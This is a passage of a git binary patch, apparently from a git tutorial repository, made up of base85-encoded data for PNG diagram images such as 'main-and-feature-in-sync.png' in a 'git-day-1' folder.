z*{ypUC}Pl^5>nDADJk9EB`F9f3?Pjt=+M&LJ>-zmT?5jc0@4D~4d0sg_5IFvpMB1^ z_x|s@uI-;*Gs81$o@cH5{?&ctc+m~`ae9x#(&U2RJ&G}C_*S@wMAZV}#pCS&-Q_mS zYpoR#CJ9JL5>MF2lMw5tU(clJreINE3o#_C?CVlmKj1mzJ8Jibu4|3DeNmAkM%8O)r1 zO0nYEEvISLK$Lt4;K|Y5*wK+LV|a{uE)%ErA)LY$fQ~e$p5btMT-)f>R~%!j4qG>H zU<&c&?mF&~4+ibMAV%3-T;yKIwTjst+f|?|-EV5=AV+fEtKvBb0_)4B`KQL>x4kn} z7m-?#+Z~~r;W?i#Aj>_u{w1#5B=4nLqX|V7G*nCjgdRGIj_{mB^v!?rQ7^cE3=vZa zhQm^EO{0W}mqKI;OJ|}+%H$fCBZsP(j@lZ&Oh%c=d16!EDjZnfx@Cci?n~&+mE3}% zSvASaSG~ZQK|UEq{a}et3$01a$a6H}#f`jL1AUtG+}hEHLaHaTGk?or3*XrLbj?JP z7B$@wn1F_oR-VWJTgmgMQ8dI@i;vsgO&5i6r6c;fv~cOMFBlb`yj5j2mZf4g>$d6L zrsFrDAyx{`A-;vhwA&*wnMr@Q_l&N_44ZUbxI%?T&mTn)j7-T!A}dwLKFo_f^rnyA zYpIsO(da&r1=i)#NmA!PDzK#)&u*>yH=2aKFBk7d+7GGhH#-EssG>*&HSalJ+=Ns!EOs8AuMC zz!(>TR^cqaG~U0oPsJXapR8&Sjnhcm+6ILVsf?rYpm*R3+jzJnxcY>&Hvo7_$%6+p zzeC_4LQOHIX2H2~bbF5C;H`g-j(-;~>TT1}Z&hOG(-hu1#$}v{$7;Usf5|yk<=(Xk zeIm8*{PO<1ejz#&BmCe|m2jeyugURG`j7$5<~~1+dqS)i7M>k`{eFsfubYOq)nj_T zxUpW&`F+#5aVZUXaLv4sWaL<03v&5|_+T)IurjBJM z?7lZT8lT9O(2;81&6}sMy}^7?rb-E&-K#0;uR2!~A~Hfpd#lVAnL>JAuCD9zHD|mt z5SrqCA6dl`ZW1aG-Y%4LGJmXT*-8;q?bfwYKGohuiC~X?UM;1vVs!qKBb6Y1XqUPp zM8Cq`KKxGc`M0H22A|s&krD~lmQW9XBx3OkMd0dcn(da~2o{pbab%cmF5mP2?(VT} zjMoJQT5VVnpwrMk*b^fYHP$$jh)2A7u*-?J-8A+a@eC9fs}ebg7`lMXH|C)e-a8fw z(b{7w?QC){-(t^?Bz7Ou-=&kKG@s#Js^6`b@{R0xA3@gY9O}AoTsa4Se6Vl)$B7Xv zf&X;ZJ*@@%x*e_qSEhN;SYZ7-TGTg8hDWFGZlX&8E1c?vl0K}62hEVcFVAr|*-&im z`B1B;i-OQLKl^5d0@W9ChklWQ1;eY;u?|0B9aL9mkzwt@2IF%9cq7-nv@NNu{BArV%g6mv3lD+jwGZZ6Z0Me^B$!nftis63XK5W3-(izWKB%wuke z>FkEC^A5g^{P18v?w~j|8AbHUaaErOi@xhx=18geeK_D8 zG>k`8QU(Cjc=oO5czL&*b;ZVPnzMOaPc!l7dzTdY_TxD)IZQ@NB+f1HKKe7ov{m!R zD=Fg?XPvbcJ#BjUSnnVWAs6BBWA{mMXhDqxKM0t_yc8_$Bv!r!(NTsXNbyZttW6t) z^~mK@tup3+xtxRryzO_`JqSzt>JR54~_J>L%4t@)wal91p%BWZ&(ExMrvQh6UQDMyDDJA|i%~b73X%85FIwGpxelp-4Fn*oRv@8Zu zKDFb(zayDnv-TA0)*FZA9j5o!RV>9HC&D-JJC^qZFV+;Z<+&y@Ty=xTAhBJxH7_Q= zK7E7WTuY+njRw6~Xx0|d3D-_kJY3F6rS>+f{&d-vmsh8{l zHrjPi{N{BNmCMoM_iBUvX z`GFbGj}7a~XMk&W5ZMfmx*321EXF>v+DJLt`=LM0x(}`?WvB9X*Z9$BWxbiH7UJCL&-U=-oqZGvoPx0?i6 z&KG9U%A(V|mp4Xj)=cIbn0&uPFn6#!u5@_l9f2&$eBjDfTt2vg16Gl|7odbP4H`$4K^Yc3r5CAL86gTCX8jjA(3@c&Kpd2m(3JN|x)>IUj!V?|pWg zfiWCjM==Ux)IA?qb?5_v`Jf}ji5O{;sBy0MHhJssI)7Gg zTOXKXE~zD+N&X+;zYLHi6zF&atFroQO$EJ*+X@^Oqd4i5)cMryw>0XF&T1Ud&yz~r z!F~};u$P$)hEr7cefd^qc^_XjZTXH?Rh_&pzUwl*$(SBQe)0WK^&Xax=bEgcmAG=V zOEoyrDoSAAAyS6EoIJV=m|bU!_}9f0*t^pPkeLuWKQj#9c9#wLLbY~~!o-3**byt+ z%K+$Ib+DRR+^NFk^Dd+1r@C_pymrp42+1;YET|sq~Qw{@gt37 zKHcX3D!I>(+OmC&R9vrzZJrv`xW)w)vVnYJY=?>YtD82SV@SQNQtA;h)QGO_o=0cT&kBRcv)3ELp{3%jjM3 zup@mT-fK_jdz;jRC0pTP6TF~e5~efU_R1PC1-9Y?OCGrXVuhq65p4|(UBg5j>UG07 z1Vik>G#k&K_`*Uz7X50K4p6ij6FBvdG1Mc?iKk(?yQ-lQ`4S??K7tMqA`ANxJd5pu8~AbWL-bi6jQR{INjvE zC#p{dpOYgyUNgprmCUwa2tBjYzkjv-%3v=}BUGfAm6Lr5VabnW(nTub74{N-9&i*K zLJ(>nsMB|1`e7C@u=eVavuj{_k^<8=lj+u{ehMVr{e~8`-p9_EQBMs60_C4Piytz^ zEO&yLoEn>mjvNfy*N{eJF>~dquC*`rJv-5IUF~^3h;syRNTmb6c6-pG2lIh_l^s`=`U%wNC z8xcNMMAAZn6zi_CR^30Yt!F(D3u&5v7rFK!Ej=%hdb8W`(%v|YkRMPpd67dS@e2*d z3Ek=xf9~%7y8FKn{9j@}wp%FGSg>{}(JJZuZ{|$#bXI$wDz+R3Jq*d?6zQ?c_L~(; zVz%KeCHiEf0gF>#8ed~Bwz+TSV#Dmo21A!Sbpm<)#?_+lMqIcoM6a~?xY7j}`yf5= z(_*eQ5SLyk1;~EU#xwa5*b+@Ioe6FcD|Nn-+J+fZPnPFpPe>QFW_+Aj#`-D;_ z*DPL3Nj%v%Co1Dd>+$9#aEp#J5`(S&75Z&uizJL(-FJglJ>&QA*Nctlba8bQoVIAj z&( z89(@AT7L%~nVj6U34LYUuB6V8Bfu$&2}0Bz+l@1Z6ou*>={b#27e;HLuyCGeXa@UT z1}Z2R5tgC;8W&c7b+N6;J?9SD&~k4o)j~>-3n#~*@h94dOg#%R?Th`ODF{vkl=eplICWo2?Nk$X|a((%nQf zYi^c{R?VYi=Lv?C(eRypDmAlr2;uTB=(kW!38t5+jB8F(rOn^_K!lgx#Y?$lL62q( z)FY0Usa6T5uVhk(TG_TO)X_rSivg>zf%Re+Ud^0m1VKa%vSX3yJ6g)ydno5jZlMN8 zQaao(27x;#9?ZV5ldh^?z~3L@u*PQT6cXUUvFg%a*f&<;Qq+om8@#t0KX-2axOthm za#|(Rin04?okckhPVPj^u{lQrK>*H=1OiUe`^L2~Qyh3;8sMi;uE+c@<}Z_uYO_bZ zrE3fhV49i0^TW-}KEms+i+XiVm1QTek^sS0?&c%H>4mE8jYsSzbeuS9DD-OOrA$+o5wQp7!-!IaowRW9XLv-c!%s) zY&O#5hKGj_v{&!J?+B6DbkI40NPdl`g>gkwH-srA%NbI@#ptZRui4?rX(kiOe3lj| zxb}s|3iC(z%Mv}306QMAQAE@M* zKN3(_te~^r=9V3s_j=|?;CyYXdx*l*)!ucXvhqm(6P=9F3!44_rSim|pWQ-kj@$yS zNmNtdV8|u&85KweS}(4hwixEim%|srOZM_p#~(T$#zmsk5mR=Yz#EUfgK<0@9V3;! z()Or5*DBpU-c{e|to}uF{SxxW82+(mzZ5A;mm^RgtKh+sS*K69Vyo1QYLku@OSbId;(hc-9yTR>r!_k7!>hPCo6V(TEs`Ycc zG2^IT$2Oh1r%@od;CL$MX1Bf5R3kTt)9??6)ic7_7Ve%vfQl&6;i&ia>9bejU=V^s} zxAk7Hf{pdF%T6=8j1Dh5OV{@H}rSsJsye- zs&*oTDeE{x-Xg)S-A66VOxKPITN%~FjLWja4bC&+0pu)n2{Co!BB*2$VA^v0dW5|@ z7j(ziw)-3xhSZ{tq;&&|zGCYGdDF7=qxbYq^2n$Tu>z&kH$FcR(1l8biDESl9OV1YU?vfdQuI2++S)`R~U~LD|X@ zvG5|GS^Jr>G<2B^TtLO({1qh2*NhbPg;t~){Y3gQtHC_11%?qSdX;_?vC2nMclL<2 z^dsmF6%UD!BdHgu-VR{o$yy@Hi#b|^dE5OKy@5guxg2@Cg%(9IlM+Q~a-K=GSw#vI zth(Tl0Z2J}-A`ZEp6sW#F6d%&{`kovMWQ?7bga}cq`Q4BJo(&IR;l?ZR^m@?FuNSz zF9k79c~5UVTj{AF*vff(hMvLsn#FPL5MF>Gerz({mN96vD< z{~~Xs!w0r46;N0!a>RTI>7v_icqFhJjx(r=F_*Y3u+x#$cZ7n*)Po`+pChx6ry^jC z^c&(al=oU)ombAik#g`Ix1sf2X}fQ6Q9x45EMN_*~+Q<_A`7s(M z5uk3Va`+{cSLsS@^W941O!Uo&IY{TBr7jAIfoJpeUxe}<(!k7+cE45AaQNyfg@Z@9 zW%SA)R6!#oUbsQDYTT<)F+_?(l9=@@muZy}kD>X?Ahh@i$cwY$&RzE#jVRE)5?DG5 z$|2rPMte&;dj=ueAHX00cwKf^c5r3O0R6Vueo-7nch7m*{>1Ok1yo)0T;G=^zk#H$+Sd< z_Bv}&gYNP)+oj;11#NV|4a;>?W!(x9uVqM`?XTYM9*Ost;)W^lMaQErAX>d*ux&B< zdCz1oI$%@F4o3UTH6cYkr-092R^3Q4B~%Ek2S$LR&j97|m0B*rfY znwCo11X0fFkK0%^t`qL=*z2B3nKW1{{V<8Tg`e35EjDv=HoX10Q8KtlVCpuBwGvv` zyd#+5@qMOzii7cWFrlvQmrsev=tyd(flN*5fUgEZ%pe=Xa?-fZf4JI`zj=7haQF3^ zpWAC`#mmd2sGHUC5N2v`<%gKJLhU#x=cd$nq<72H-X~EcWJwnj&c>q&t6aWViuRE6 z4J!(*+>v$e$5I#CPsPXtO1ji)Tp?(Y+sp<`#J=8X8oSF!gd;rm&MPpmzGwX>(zmc5 z8seUzUdCc3zwvE6pflrKdF_xW*i~%ADLJ=u@E-x&GO`P;f|k*Q6y=<>VX;c>APRC+ zJ-CAfa4L+6rrL#D0+s>D0GrWNj`hBW?EzK0CzNX9Mlz;!X4FUCADZM=fHHhZSoFRe;X0}6a|ga?a)Y({NZT9|*{_(jLVnB{dS zF6mHA=r^+wGm3pQe`Poav47ANx>vP((aKABO2HNv*p{Qw^9u6>hx#i+_?TmR0_Gkg zp~nR&Ln-bxh`UlBy+3ix-V2q6z(d4A=Xc5Er#kr0zI%Ltf>fWiw9k}=*;AX%Olm>N zzDTNI5v6VC605i#qXRqoj>><`I!9GdW=c1rFa5s$4vk$@Uwt4 zdMjmlYgKnL>W(PyAGg~CZ(Gn8VNHb@;#84eacUf1Xh(!BGm;4IfZz`1hQwm#vm(a{ z9NL88w%}WgYWk+_#+Cz_=Gko;7gvK}@!N@6eXfTX8TvKJp8NCrpYjwHLavri_xGpW zhHA5ulyWA~V>%?l8jC?qm~i*xx|p&#E-Y&7F`jFJa@ zX^dDpG1lFqTc6?%2W^?ME9ajoD`*k1dz?DVYCM*nJsqtaRS;|&Nr`A1Xu@#f@`d$D zsM#FFBJzLp*$UrKl}vG@DE)9r<}%@Y+V7 z=V9sE`+F>_nQ`md;>xI4d>iZZ9m}9Jk$8OZ%B6{LjnX1CaTqM}sMGIg@GF z`rWZ-7XK^ftC4g|LybUJTEiZu3^oL19Y^p-#%h6#$=VZDs$Mvkj89jSk|j z7JS@zwPzTITkfTCgo>7xIblWdRJ7siMr04OFcA-PQt@d7^0XNw$)d+7;9= z3fRm0rzi7Y+x>42J~mHJoU$&J_tecS5CU^q+T}%UfB<;}5#TN)r-X%f8&##kmP|jL zP`P}nPtAPkzXHCHxIzryjhVaZ+Ntsp!#|E&;F1|>c}4ZEdM2`|^h=ZCUrFEE?|g*g z=k=r~0;xyjXB<1jC$s{7S>=FX`MmKJ~6fKKakI2PWn@dnl1^@6VeOpL0xP@@(~9Za@h8g8oJenAtI55z4{!jVaVmZ zix?H5eVAq)Oh+lI51BuQ6BqZAy&L;%X9rvPDY2kPTK-BKGilz2Aw2opb*PO=a?y`P zfHkZb9SdlmBj-K~)|mY8LXdf#?=Vv^plWI1dLTZS_HpW2W=86a6%DatwO$Kl(M~Jz z*n%X>B6)C6U7KzTk6$^!_IgCKt(~Q{+2rdaKFrRk>*M-N95xbh6|E&ES5eYK(RvKb z)q~Y03nLSjq2kd}0DB&fp+BhK|9(@5A|T~dIPPeC8(Ud@h*J?`;j#ee-5+^_0hVC~ zY<%yI;UIa>4SRrx(81yro!X;KiWfDd^SBR9c|Ir}uIz`L@JxYPLLXU$vu>ZabUD5$ z{+Zq)Sbx5VL9p5S0uOcI{0?^8rTAo}glOkXZdzE8 zvd#UnW&RSzs*0w7fVv5^?{&x81@5EzF7vyhOcu1$?4!7Ue05MNW& zp4h!-oDd`4M_RiW%s=>mds>OtaHS_U98&OBKEj@D%-=|ztTA{$Z(VH z^aZ=GMZ%kvV^d$4-Y4GAnNd3a(UAjV!2>6Im$gg0So4g6MNao(L4Chlj&&49nc8I} zdJUUH*fbtwdM|%8B51?aOFp4)XY3If*bWAcln^7{Nl-$G#~_R=t*5<`R80lh?m{6% zzOY!IzZ@ppD2O=&tCTC*x$w&;r;+1VON0|ys}P9*;zx&jBnrv6a7IsF{Le$%Jr{(* zmEEVf)T62t0WqLHH8#is4wKqQ0skYYI2yfXrIsfWp9B`TGo7)_XEt;TkNGIJf^t#@ z-b%&tUA+K3=tsBCqvt+vZyYIW<{Db9-^1`1=z{_@j=3xd-UvQS?_?6oGs>eAQ1C)z zj>F2hWEMYDUK8Cam?l|7#fPxhrzql|<%u0i=IeUWwyRIK#HV7y1`Wu6mJtPHisQS@ z#t1uV#8s^Juy+m(0)A4V@7aNK95=02;?ePR#InHCt(N|lIvuqe)XyJY-a#HFW~*EG zt4Mh&aA1O0Cw)b@Cp)NYW8szO4|kWOd`JU3>FsXWo)3IG%P_RKm-h!m@0`%*A&IX3oN!#|65QWAqYgn}?k09D8-Yiz2Vk034qAln2YNaKbWh zq|0TZJ8@p_(dH}GQJU&NM}R#`dGIKLq{tO5$AfCU&%CL^@DC0#%B#Ahw(bF{cEApo zBX9|{0?eUYmEl;44;7X>cFnRvo%4rYp`f$-zhY5DxKiagosv@e&@PBFn06gFOrrZ+ zGMsKY%s8Kec37S+;f?6@)8erY_)&md_nyhY`_mFBg$WfMv3(6~V;8%s`u6@FvEl>} z?=jAK)_C5+8Dom-3hx)A6MY%`M2Z+eI5`7fap2XzntqDXJv;4tg=g?!MAMBQ7Dq zJ$W0)U&2$P7Z3jk5{38Igkv$_F(ZRnlyoC{T8>@$i5iyn;dk!#o9>r(=}k+kexL}i zXQLXR)dfUjUQSBY>wYzs?QGUI4BhL>4Krjr_Aa!Hi*a_t$-3 zJKbAA5ucyHB43;KF5>5KhJIf=0s4zdb`7z2VCPuqPlM!<};f8 zni+j*7d@rIzksRkA-ai)-8jsshe${G>{HvRP0nWkBGO%Z5TAgrMyiT})x^c8pS7!l z^ljc;Ci%Go>P1}&vn>IVRn4(G4q{#^*C-tOH5g>7k~ z)55oPkCDS>aoQbE^xA{v6d*!kD?i$Avm4Mbx5DqEiYw=+~qnv``ak)`KDQ zWhKnj=F~Eg-o)?Ku{eA`8*lDSm4V(lQcAc)ppp4M`*wXQiJv>7{`Hv&{sQ(zfLc@L&dCI@PSW)x?-0?R z5)UBkqdr!LM9j3 zNu>QPnjbWkI2WH3KC(p!Ue`uh{{bkNLU+Wb80_R3RaV#zk>Q)3HxVJFnTjGp$(@&u zAhvL=2-|cMDCAxS-P?6BHK)D7G||MzPJ-)ps)>T$D5+!dOp*gfY|cZU_Ym%UM~E@> z%|_tm>A{#`^3OeVl?+7rM~xgE)Mj9(ZG40CEgK^^4u`>*q*X zj-FkysR`HL)Y)m^H=@v%@FiT#jZ(3w(|R|G}7-uOjcy$Z=-0kY281N5Q~ z*+UULaS_ox*FQC34pCKn*M=j=6*5}ufL@PaoKOHlS>Hf^Iac043B=F-273X=WAw@A4@<)6?-Z_NnSOft4OVk$FUxoitzrB=YuQeOR3Y>!;;BCo+hkZ^oP@9 z0btav6=}<>B#O%cfbdtY!0#_i1NgLjw{-Ar5{SrJ;uZpQ<>XcAP)=lvEmFF=qVy7a>BI&XeG?Uwz0czP5=p?aS?&i0M3l~waEPt}Nn;U}2bQ>XZvwAnQQe_c=I3m- zT$KjkLagZB^Zos7<^h36s2ziGzv|cj*SEQjbG)A|l*lz<8eXVtHy}=sspzq;svlkX z3ugFro&6*rhN*6+r0lmp_TR7m7rSN z2ovDz8c0esrbz$xa|6l2cS%2ztE2wg|NZ^>`(Kug4Hp^5)n-zR^}oF6_pkT2pKY{{ zjFhUgSSS0Nq~^bU!T)$?{IRy)sSiOM7d`ohpkGV<&%gE0h!RNMa;_W9>-gulBwLIGqP*LJL{eX5O9+ZxMj_T{(Eb87n#7fz&?KG-@9#H!EGBn%Xtv| z@2#B@GJy{_q)FoMe$sz#5xfVe!EL*rl>7F-MzH)V*YWW^Si4l``&=MZ^q>2Szx_o2 zdF21|$p81F{O`7hfAoU?Jo5i}H({F4?}5Gxcl HdjEd_Z<_cs literal 0 HcmV?d00001 diff --git a/git-day-1/main-and-feature-in-sync.png b/git-day-1/main-and-feature-in-sync.png new file mode 100644 index 0000000000000000000000000000000000000000..1b453f3b9954ad953464f89ccabfcd36c0463ff8 GIT binary patch literal 249367 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 